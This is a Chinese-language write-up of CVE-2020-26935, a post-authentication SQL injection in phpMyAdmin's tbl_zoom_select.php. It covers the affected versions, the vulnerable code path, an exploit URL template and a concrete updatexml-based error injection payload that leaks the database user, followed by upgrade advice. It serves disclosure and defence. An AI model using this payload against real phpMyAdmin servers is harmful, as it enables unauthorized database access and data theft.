CVE-2020-26935 phpmyadmin后台SQL注入
字数 790 2025-08-19 12:41:18
CVE-2020-26935 phpMyAdmin后台SQL注入漏洞分析
漏洞概述
CVE-2020-26935是phpMyAdmin中发现的一个SQL注入漏洞,影响版本为:
- phpMyAdmin 4.9.6之前的所有版本
- phpMyAdmin 5.x系列5.0.3之前的版本
该漏洞存在于phpMyAdmin的搜索功能中,攻击者可以利用此漏洞在后台执行恶意SQL语句。
漏洞分析
漏洞位置
漏洞位于SearchController中,具体在tbl_zoom_select.php文件中调用了TableSearchController的indexAction方法。
漏洞触发条件
- 攻击者需要拥有phpMyAdmin的后台访问权限
- 目标系统运行的是受影响版本的phpMyAdmin
漏洞原理
在tbl_zoom_select.php中,当满足以下条件时会触发漏洞:
if (isset($_REQUEST['get_data_row']) && $_REQUEST['get_data_row'] == true) {
$this->getDataRowAction();
return;
}
当请求中包含get_data_row参数且值为true时,会调用getDataRowAction方法。该方法中直接使用用户输入的原生数据拼接SQL语句,没有进行适当的过滤或参数化处理,导致SQL注入漏洞。
漏洞利用
利用方法
攻击者可以构造如下请求进行利用:
http://[target]/tbl_zoom_select.php?db=[database]&table=[table]&get_data_row=1&where_clause=[malicious_sql]
利用示例
获取当前用户信息:
http://127.0.0.1/tbl_zoom_select.php?db=pentest&table=a&get_data_row=1&where_clause=updatexml(1,concat(0x7e,user()),1)
这个payload利用了updatexml函数和concat函数来触发错误并显示当前用户信息。
修复建议
- 升级到phpMyAdmin 4.9.6或更高版本
- 升级到phpMyAdmin 5.0.3或更高版本
- 如果无法立即升级,可以手动应用官方补丁
参考链接
- CVE-2020-26935详情
- phpMyAdmin官方更新日志
总结
虽然该漏洞需要攻击者已经拥有后台访问权限,但它仍然可能被用于权限提升或数据泄露。建议所有phpMyAdmin用户及时更新到安全版本,以防止潜在的安全风险。